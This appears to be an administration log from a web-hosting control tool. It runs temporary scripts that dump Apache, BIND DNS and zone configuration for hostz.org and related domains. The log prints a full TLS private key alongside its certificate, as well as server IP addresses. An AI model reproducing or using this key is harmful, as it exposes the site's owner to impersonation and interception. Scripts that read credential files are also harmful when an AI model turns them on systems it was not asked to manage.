Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.




STDERR:
[Tue Apr 28 10:19:40.710755 2026] [so:warn] [pid 1406133:tid 139736711670080] AH01574: module status_module is already loaded, skipping


2026-04-28 10:19:40: 

PUT: /tmp/pkp934645

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/httpd/conf.d/hostz_repo_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-28 10:19:41: 

chmod 755 /tmp/pkp934645; /tmp/pkp934645; rm /tmp/pkp934645

2026-04-28 10:19:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/hostz_repo_org.conf	1840

<VirtualHost *:80>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-28 10:19:41: 

PUT: /tmp/pkp878952

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-28 10:19:42: 

chmod 755 /tmp/pkp878952; /tmp/pkp878952; rm /tmp/pkp878952

2026-04-28 10:19:42: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt	5341
75:30:8f:cc:7f:44:a1:42:84:60:ee:04:e5:02:2a:55

-----BEGIN CERTIFICATE-----
MIIE9zCCA9+gAwIBAgISBR4QBNjcFEdpexwQd3dyc5CKMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDI4MDkyMDU5WhcNMjYwNzI3MDkyMDU4WjAZMRcwFQYDVQQD
Ew5yZXBvLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AOElRodN89dHXmJoW2/eJIlAs4SEqR1RO/NSkcbR5yUYw49qfoRM4EreylA/2U/9
XJKVtxNKUvmVI6n2QD+T4mPk6tt+/ZMqEg4ycsChD/e3a72VvmNvlgjJlq3zc0Zt
+J1h8P+UM7E8QoY/nkerd9YPkeCw8XLMVRt5GpaFlyxdXV6NHkVSBe3KIis9qC2R
8OCfuud1vV501mJ8A8SzApZ6j8fSIBKS2AcjaAz0gXtIZ7wvCRfD4dHCeq2kF80D
C07vcfEOvez1vtsn50iBKFj5H9x3PKMsBh4kr7F78q1sNNdyU1ZLNUD8oDtpd0zm
1ln7K54ZxOGGvxqV+ALfP50CAwEAAaOCAh0wggIZMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQyIZxu
WQhADbUuEG54+LOOWWlQYTAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR
0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5j
ci5vcmcvMBkGA1UdEQQSMBCCDnJlcG8uaG9zdHoub3JnMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
MTEuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHYAlE5Dh/rswe+B8xkkJqgY
ZQHH0184AgE/cmd9VTcuGdgAAAGd05neLgAABAMARzBFAiEA/m0WAsAC9TtCPzs0
VvqvV73CatGkc0EFtxcQHIUc7eYCIFtYoNFirRpMncB5JHGevC8PnVzlKnAu9yO3
a9ei4R4NAH8AbP5QGUOoXqkWvFLRM+TcyR7xQRx9JYQg0XOAnhgY6zoAAAGd05nf
5wAIAAAFAAkWtgIEAwBIMEYCIQCU4i+LPb2XQGtu++z/BO91g4bItAlxiBkbiBNz
xsKzNwIhAKy5ShNHYux1IyBFlnv/ZR1FOjRvxs2Ti297jMDC531zMA0GCSqGSIb3
DQEBCwUAA4IBAQChm1/vGBaUfVBNpD5QXPQSIIMT+VYbyuKjqK2buANlkVIm1P8U
7+CWItQkVnRUg1pO1JXp+ki7Q8XG1C8TQRkrlPOehy243xEhx+ZUdRgvfx/ZGgBF
xIOThFv0OJZFmAGYoKq719bvL8JMk0xX5zZGP8/kdQzT0Bapfl6TQVP1nFVEAEPU
48SiNcd61wNdAtUKLWw0MEQN8/7aPi44c6XI4HIutqIUW/FWex69256GI/53RFiN
UCFRvuGNggZAlZQzNRNfnGJdps7bAFK7sz8n7tx2Db+S5opiPjdqoQsuuVaCA9yW
fbmIoPXaxWmNhkAsVFOTlkxrY0PBPcOm/YCz
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDhJUaHTfPXR15i
aFtv3iSJQLOEhKkdUTvzUpHG0eclGMOPan6ETOBK3spQP9lP/VySlbcTSlL5lSOp
9kA/k+Jj5Orbfv2TKhIOMnLAoQ/3t2u9lb5jb5YIyZat83NGbfidYfD/lDOxPEKG
P55Hq3fWD5HgsPFyzFUbeRqWhZcsXV1ejR5FUgXtyiIrPagtkfDgn7rndb1edNZi
fAPEswKWeo/H0iASktgHI2gM9IF7SGe8LwkXw+HRwnqtpBfNAwtO73HxDr3s9b7b
J+dIgShY+R/cdzyjLAYeJK+xe/KtbDTXclNWSzVA/KA7aXdM5tZZ+yueGcThhr8a
lfgC3z+dAgMBAAECggEAAodIo3xcoK5MgQ5q+HamMmRnn7VdsNaYtcLXoEP7NI9y
osmvYgz699xIqV4OMrfFsl+8DptnEyZ5oA8D6bLfd/+6I3zpnB181mv6ne8xHrcQ
nrBv0u4N4UtiRdHWGZRilmHjMvuXGQZ0OM2+GU/zqJPEL6HNFFz3F7fkdIxLhlQA
s/oH0TjsN9h0Sc29YYCYd7iP+tTeTgbzxIRgKbzDIcIouN0xICfvti9Lefg3kgqx
K85jSmkfAoAXnyRfAH/hs0EVXBTXgr3RJcfJjXqes0erp/fKRPaABbRupYD7gHSW
SDtal1ZN9HffFZPdfrnpObNjqRpdqP5V6u44Zd5sAQKBgQDxCWFKOq97+jXoWThr
FwLfNgGHbz5pfKZ+8/3HUAmptt+q5sUMBRF4bV2Qj0J+d4YVGSNiq8AL31j/TG0r
KYgKGrYq6OMChax1hz1qOUwiqRCNBbwEYGnX7yvNEEvQDHOikwjhPqvqsiPmiPHH
LvEaCiTq6KiDz2ZiSY5P9SZtCQKBgQDvH1nQIKNt27FljohODCHcr9MsuU/51NjZ
AevpokCybnXbetHzlXvasGEXDRs3GTuj2tnglDg2FB2dCZCdCArvauheR2ezM1ih
HriiLyWnzxV3I3IX/7VQ5RMypuHfWJeegQ9rl0+Jl/NQ2GXsbty1fYlB7cfx/UIh
8PteSJE29QKBgGpy2QueNUfMbahKVtc8l2EaibxVTbvqd+FTQf2XBF12TPs95UH0
rw1/RzYDfrs5b/a7XlxCO5NCtRwylXfdZJ4Jw+/ZYAAKJurUqjPSUCRyg8O0B5/r
MHNTxgVPMBwWk671vpMzSVtiBubWDekIeyQj3L/9tgZYPwAjOf1n5+t5AoGACDhu
sP3+QE+WKKSewPgfzeNpghcYzcDod4VeY9jFGp07hgER6KrR6DG6FL3JmrpOV5K1
fMf7qrhEUFq80vkszxBAzsTrprh0Ko3Q0RqH094FoePhDzwmMpK9dzdPeoskIznS
muNHw7YqkjPuRROGmOKo7lBLWGFZfas4KQSboWUCgYA2qrwyJf3v0keqBuJMawRM
zScScklDNl0RhmfhxnA9g3cBL0zVhzaYDghZIlVCuM2gs+ibWjn/ydjfdYnEyFpQ
ZtGcV8CAdH0dY1C6YSwGDlD17c6XXonmZYjyIui+MFxHhX0UJ5PPgMwy/UIVNVnp
bh6jPaB458o0fvn4y5jd5A==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-04-28 10:19:48: Establishing a connection
2026-04-28 10:19:48: 

PUT: /tmp/pkp894363

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:19:48: 

runuser -l bind -s /bin/bash -c '/tmp/pkp894363; rm /tmp/pkp894363'

2026-04-28 10:19:48: 
2026-04-28 10:19:48: 

PUT: /tmp/pkp687458

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/bind/named.conf.local')
    show_file('/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf')
    show_file('/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-28 10:19:48: 

chmod 755 /tmp/pkp687458; /tmp/pkp687458; rm /tmp/pkp687458

2026-04-28 10:19:48: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/bind/named.conf.local	5100
//
// Do any local configuration here
//

// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

include "0299c0c61c7ba070834ba2dd758c9c51.conf"; # biblealive.us
include "25162dac9ffbcb0be59287b7a9bde7f4.conf"; # carelinks.net
include "54524ffc708f1919654eee3e8e8e8adb.conf"; # carelinks.org
include "265e805c99c946847c9512ae0a2f1979.conf"; # Unknown Zone
include "94cdb93348589672ae2f4f7d5cf38aba.conf"; # christadelphia.net
include "695c92f1e52b32224b4afd59cf37d6f1.conf"; # heaster.org
include "a9ce89f9cbbf500822cbde90492a4b59.conf"; # c-c-n.net
include "1a70a64890644d614d006709f4d07011.conf"; # bookofjames.info
include "76868f6e068adf5f82f053b795932883.conf"; # aletheiacollege.net
include "b64ede8e027cbe0b900c74b7dad61fc6.conf"; # hristadelfiane.org
include "a6604325e1e95bb658a4876ded716488.conf"; # realchrist.info
include "c23c0a067c65fe695faa3f188e27944c.conf"; # realdevil.info
include "0a6ad15e551aafb493c6806effeddcf2.conf"; # thisisyourbible.info
include "7695e2001b9158b46e53b17c49af86b5.conf"; # murrayyoung.com
include "063b25bf16976ce1a2c836785c63433d.conf"; # bible-basics.info
include "e3a645e9cd9a48a14dd8493b70d9eeb7.conf"; # n-e-v.info
include "62fb2e372bc0a32115fbc83c762f20b5.conf"; # biblebooks.org.uk
include "9b1deba5ba095e87244f37a8e3f127c3.conf"; # exjw.org.uk
include "32d4fd93b17a2291b23647ec24f8da21.conf"; # vards.info
include "de5342f930e16cce802d35118a2fa8d3.conf"; # waltonecclesia.info
include "6f67b388e6765da580018fda67333d25.conf"; # tacomaecclesia.net
include "9c176806fc238e21c915b63d0649fc22.conf"; # shiretune.com.au
include "1e54f6c33ee3ca2eea403fca319b0ee4.conf"; # r-b-c.org
include "2debffd89b49e0229c33680cd8802ecb.conf"; # maminas.info
include "7be199ed365109a6d40950ee59d1f556.conf"; # carelinksoutreach.info
include "eebb27648fd2a6fb3ddcc9ab90e7112b.conf"; # baptizo.info
include "1f505a75628761de494a35ab69db20dd.conf"; # carelinksaustralia.info
include "88c5638dfb94d699fd48b1feb9d60cff.conf"; # biblebasicsonline.com
include "a4eb3fca977ca6015dcdbcabf7d11d48.conf"; # thinkpinkpixels.com
include "3c5ac3f042be6256f4781cbc416678be.conf"; # dalmenynaroomabushwalkers.info
include "c0f3c184d08b11c006e309fb0115bdd6.conf"; # osnovybiblii.info
include "5228c1dbadd38e40039230194a4f9e79.conf"; # osnowybiblii.info
include "a991f2a33195300884cfb80603e68095.conf"; # gospelstudies.net
include "3c4b5f94d47374f5ce45f7155d4ae5a8.conf"; # christadelphianfraternal.info
include "35d18abc44b089ffa23e3e2f0807ece6.conf"; # theyoungdesigners.us
include "40b78c826a55a9eeca31786e0586fee9.conf"; # islamicstate.info
include "93997bd832de09ba4e56713eaa81d340.conf"; # christadelphian.video
include "320b669d287ba63741ff57cf3e690770.conf"; # whysuffering.info
include "11674aee41a9cabe2304d659e10b5dd0.conf"; # drewmarshall.ca
include "0766fc100eec8a6853d7ddbdaedbb9bf.conf"; # freebible.info
include "05b92d9466be1ff60f99171b12b904c0.conf"; # bible.boston
include "d15154fdc73f852a93983b8efa978ccd.conf"; # carelinks-uk.org
include "ffb28d26a57997ceef6aa88af3ca2eb1.conf"; # siiguides.com
include "c92f7952a5e58a40373c6ea0395bbe60.conf"; # patientappsinc.com
include "69d0916aecf832c706b4d0e9097de457.conf"; # simplyinteractiveinc.com
include "9102cebf40552256181ade1b5794bce9.conf"; # vela.work
include "916eb0791d6219f551785c0d0cdb6551.conf"; # zoomchat.net
include "3d2ec12df06edc90dfcd3e90b9defc61.conf"; # stoughton.link
include "4e946d31d5dbbaea14c1f8a8cc65c592.conf"; # pjy.us
include "f526c54ffce876cc4878737cf365bd79.conf"; # the-computer-site.com
include "03d5b5f89be357e1588146db824a75a9.conf"; # hopeinstoughton.org
include "97b02af5a57f21e16869add9e7536c63.conf"; # patientapps.net
include "9ab47e96627d9522a0b8df2ee4322802.conf"; # patientapps.co
include "a1c902386bae85264c8bcd7d46d289a9.conf"; # emessage.email
include "1f055662da24bcf52398528dbf5a1c4f.conf"; # cityelectric.online
include "b77f3ffec345cac4b4296eed63420be1.conf"; # myapp.care
include "7312c9cb95b4bacf912d8bac1ea438cc.conf"; # vmix.com
include "6e7fd231117136482801b6740f7def61.conf"; # theyoungdesigners.com
include "ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf"; # bucketgigs.ca
include "82e710fb4c28419815112803356c4f79.conf"; # croydonchurch.info
include "d365b77ad7e9376e619973b277c11515.conf"; # kjvdictionary.org
include "b579aafafbcd32ebd30996c14e2929d0.conf"; # ineedtosaythis.com
include "e0dc27e9ac6120dd4b9b149abf3e317e.conf"; # dgmarshall.ca
include "210d2f210e4452e9446e4b9a5969250a.conf"; # dgmarshall.com
include "f9446b138d2c5ba2c536837db166189d.conf"; # hillrunfarm.ca
include "39a853d14cf222b11389743f34305dc2.conf"; # sosretreatscanada.com
include "28a5e75a7da01b086708dce3eb004d3c.conf"; # carelinks.org.uk
include "73c7599fdd5ae53f1a22acdec3f96f94.conf"; # cityelectric.site
include "6cba0a95209be6ac4156e85379be0bd6.conf"; # zoomchat.online
include "954ebedf55cc0740293342780846a6cd.conf"; # persianchurch.info
include "3d53240606bf6359dd62d3ebf20afc18.conf"; # patientapps.com
include "cf381d1fff06090b5818429e32e6000e.conf"; # 
include "b74ce055b83f6cfebe00ab1c0c5d2af2.conf"; # hostz.org


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf	206
# this is an automatically created file: manual changes will be overwritten.
zone "hostz.org" IN {
  ##owner 0;
  type master;
  file "b74ce055b83f6cfebe00ab1c0c5d2af2.txt";
    allow-update { none; };

};


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt	1215
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
hostz.org.               		 IN    SOA      	hostz.org. hostmaster.hostz.org. ( 135474309 14400 3600 14400 3600 )
hostz.org.               		 IN    NS       	ns1.hostz.org.
hostz.org.               		 IN    NS       	ns2.hostz.org.
hostz.org.               		 IN    A        	206.222.22.194
hostz.org.               		 IN    MX       	12 ASPMX.L.GOOGLE.COM.
hostz.org.               		 IN    TXT      	"v=spf1 a include:_spf.google.com ~all"
_these_entries_are_not_used		 IN    A        	127.0.0.1
_acme-challenge.admin.hostz.org. 60	 IN    TXT      	"zhNero9mmYF8ALfuK05SlXhBtqiW4WlAdWhOz08oKqM"
_acme-challenge.www.admin.hostz.org. 60	 IN    TXT      	"AN--BbvNadJl1k4DToBiImsR-3NrfgOlGLm6xwq96AA"
googleec9cc649fb3fa201.hostz.org.		 IN    CNAME    	google.com.
www.googleec9cc649fb3fa201.hostz.org.		 IN    CNAME    	google.com.
home.hostz.org.           60	 IN    A        	173.48.93.56
www.home.hostz.org.      		 IN    CNAME    	home.hostz.org.
mail.hostz.org.          		 IN    CNAME    	ghs.google.com.
www.mail.hostz.org.      		 IN    CNAME    	ghs.google.com.
www.hostz.org.           		 IN    CNAME    	hostz.org.






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
